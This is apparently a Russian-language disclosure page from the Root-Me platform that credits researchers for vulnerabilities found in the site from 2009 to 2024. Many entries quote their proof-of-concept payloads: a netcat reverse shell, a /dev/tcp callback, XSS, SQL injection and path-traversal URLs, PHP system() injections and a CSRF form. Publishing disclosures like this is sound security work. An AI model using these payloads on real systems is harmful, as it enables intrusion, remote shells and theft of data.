Обнаруженные слабые стороны

Как и в любой информационной системе, на веб-сайте были выявлены некоторые недостатки.

26/08/2024 Mika

обнаружила уязвимость OS Command Injection, которая позволяет пользователю получить root-доступ к серверам вызовов при развертывании вызова с вредоносным флагом.

RM{' && nc.traditional 51.75.X.X 4444 -e /bin/bash #}

21/08/2024 Vozec и Laluka

выявили уязвимость Remote Code Execution (RCE), позволяющую неаутентифицированному пользователю выполнить PHP-код на портале SPIP.

07/02/2024 Nishacid

Обнаружена хранимая XSS-уязвимость в переводах, позволяющая члену ассоциации изменить любой из переводов сайта с помощью JavaScript-кода, используя :

<img/src/onerror=confirm(document.domain)>

22/11/2023 Laluka

Выявлен хранимый XSS (через загрузку файла) для RCE через инъекцию кода на конфигурации mediabox. PHP-код отражается (json_dump) и затем оценивается; целевой учетной записью должен быть webmestre.

const form = doc.querySelector('form[action="/ecrire/?exec=configurer_mediabox"]');

const formData = new FormData(form);

formData.append("lity[<?php echo system(base64_decode('aWQ='));?>]", 42);

14/07/2023 Elweth

Обнаружена уязвимость в версии Chrome Headless, используемой ботами для вызовов Web-клиента. Данная версия была уязвима к CVE-2021-21224, что могло привести к выполнению кода в окружении бота.

27/08/2022 Laluka

Обнаружена уязвимость, при которой изменение статуса содержимого сайта (doc, challenge, post, ...) на более высокий уровень (например, с draft на evaluation или с trash на writing) вызывает отправку электронного письма автору challenge и/или вебмастеру. Некоторые переменные, такие как заголовок и содержание, не были должным образом закодированы или экранированы перед передачей в функцию eval, которая формирует письмо. Это позволило осуществить Blind-RCE с такой полезной нагрузкой, как <?php system("bash -c 'id > /dev/tcp/42.42.42.42/4242'"); ?> в заголовке или содержимом статьи.

send(eval($email));

21/07/2022 Abyss Watcherи SpawnZii

выявили уязвимость удаленного выполнения кода (RCE), позволяющую привилегированному пользователю выполнить PHP-код: Abyss Watcher SpawnZii

https://www.root-me.org/ecrire/?exec=article&id_article=1&_oups=TzoxOiJBIjoxOntzOjE6ImEiO3M6MzoiUG 9DIjt9'"><?php system('id;hostname;whoami');?>

Abyss Watcher SpawnZii

11/07/2022 Abyss Watcher

выявлена хранимая XSS-уязвимость, эксплуатируемая с помощью iframe, размещенного на домене RM :

<iframe src="https://www.root-me.org/IMG/html/xss.html">

17/03/2022 Mizu

выявлена хранимая XSS-уязвимость, эксплуатируемая с помощью iframe, размещенного на вредоносном домене, начинающемся с www.root-me.org :

<iframe src="https://www.root-me.org.evil.domain/">

23/11/2021 zLade

выявил уязвимость, позволяющую члену ассоциации повысить свою роль до администратора, просто используя частный интерфейс SPIP. zLade

01/10/2021 Podalirius

выявлена уязвимость, позволяющая получить доступ к документам, прикрепленным к решениям, без ограничений:

<imgXX>

15/05/2020 Laluka

выявлено множество уязвимостей: 3 отраженных XSS, 2 SQLi и 1 RCE:

https://www.root-me.org/ecrire/?exec=plan&null=lalu%27%20onmouseover=alert(domain)%20style=%27width:9999999px;height:9999999px;%27%20foo=

https://www.root-me.org/ecrire/?exec=article&id_article=1&_oups=lalu%27https://www.root-me.org/%3E%3Ca%20href=err%20onfocus=alert(domain)%20autofocus/%3E

https://www.root-me.org/ecrire/?exec=admin_plugin&var_profile=pouet'/><script>alert(document.domain)</script>

https://www.root-me.org/ecrire/?exec=article_edit&lier_trad=1+AND+1%3D2%20union%20all%20select%201,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25;--

/ecrire/?exec=accueil&where[]=(SELECT%20SLEEP(5)=1);--+-

https://www.root-me.org/ecrire/?exec=article&id_article=1&ajouter=non&tri_liste_aut=statut&deplacer=oui&_oups=%27%3C?php%20echo%20fread(popen(%22id%22,%20%22r%22),%20300);?%3E

12/01/2020 NonStandardModel

выявлена XSS-уязвимость в имени файла, импортируемого на http://repository.root-me.org/. NonStandardModel

04/06/2019 warlock

выявлена XSS-уязвимость. Она требовала вмешательства пользователя в чатбокс (переход на предыдущую страницу).

http://www.root-me.org/data:%2F%2Ftext/html,<script>alert(1)<%2Fscript>

04/06/2019 warlock

выявлена уязвимость, позволяющая непривилегированному пользователю убить базу данных, доступную на сервере challenge01, на котором размещено несколько вызовов, путем насыщения памяти определенным образом, чтобы убить выбранный им процесс. Это позволяло перезапустить другой двоичный файл, прослушивающий тот же порт, через состояние гонки.

16/11/2018 Hacqueen

выявлена уязвимость, позволяющая перехватить пользователей магазина через iframe через домен spreadshirt, контролируемый злоумышленником (например, spreadshirt.ro), параметр lang не был отфильтрован корректно. Hacqueen

12/04/2018 DrStache& urandom

выявлена хранимая XSS-уязвимость в карте OSM в комнатах CTFATD путем внедрения следующей полезной нагрузки в биографию пользователя (https://www.root-me.org/?page=preferences&lang=en). DrStache urandom

<svg onload=console.log(document.domain)>

DrStache urandom

12/10/2015 ST4HLKR1EG

выявлена уязвимость "Insecure Direct Object Reference", позволяющая прочитать любое личное сообщение :

page=messagerie&formulaire_action=messages_recus&formulaire_action_args=[valeur_random]&id_auteur=[id_auteur]&selection=sel&marquer_non_lus=marquer+comme+non+lu&selectionne[]=[message_ID]

03/2015 WtF

выявлена уязвимость удаленного выполнения кода (RCE) в задаче, оцениваемой на рабочем сервере, позволяющая получить доступ к файловой системе с помощью ssh и выполнить команды. WtF

03/2015 WtF

выявлена уязвимость произвольного включения файлов (LFI) в вызове Path Truncation веб-сервера, которая позволяет ему читать файлы из других вызовов. WtF

15/06/2013

LouTerraillouneвыявил уязвимость инъекции PHP-кода на странице "code - decode":

Текст для декодирования в base64 :

PD9waHAgcGhwaW5mbygpOyA/Pg==

06/11/2012 jimee

обнаружено несколько хранимых XSS в управлении профилем пользователя :

<script>[code javascript/vbscript]</script>

20/03/2012 jimee

нашел LFI в вызове :

http://www.root-me.org/challenge/hidden/hidden/page_..%252f..%252f..%252fch1%252fmesfonction.php

23/10/2011 courte66

обнаружен отраженный XSS на странице "encode - decode" :

Текст для декодирования в base64

Jz4iPjxpbWcgc3JjPWxvbCBvbmVycm9yPWFsZXJ0KGRvY3VtZW50LmNvb2tpZSkgLz4=

02/10/2011 Hypnoze

обнаружены небезопасные косвенные ссылки на объекты, что привело к несанкционированному доступу ко всем PM :

http://www.root-me.org/spip.php?page=messagerie&id=write&repondre=[id_message_to_read]

11/07/2011 Armel

обнаружил сохраненный XSS на чатбоксе.

<iframe src="javascript:[code javascript]' />

18/07/2011 g0uZ

обнаружена уязвимость инъекции кода PHP в "online tools : nmap".

Хост для сканирования в режиме -sV :

--version-trace -p8888 [IP server attacker]

Служба, прослушивающая сервер атакующего

i=0; while [ $i -lt 5 ]; do nc -v -l -p 8888 -e '<?php [CODE PHP];?>'; i=$(( $i+1 )); done

30/06/2011 elyfean

обнаружен CSRF на чатбоксе :

<form id="form" action="http//www.root-me.org/?lang=fr" method="post">

<input type=hidden name="ON" value="1">

<input type=hidden name="message" value="0wn3d !">

</form>

15/02/2011 EsSandre

нашел LFI :

http://www.root-me.org/squelettes/script/protection_acces_http.php?file=../../../../../../../etc/passwd

02/02/2011 hello

обнаружил несколько хранимых XSS в системе PM :

<script>[code javascript/vbscript]</script>

02/12/2009 real

обнаружена уязвимость инъекции кода :

http://www.root-me.org/spip.php?page=poster&id_article=1'.system('pwd').'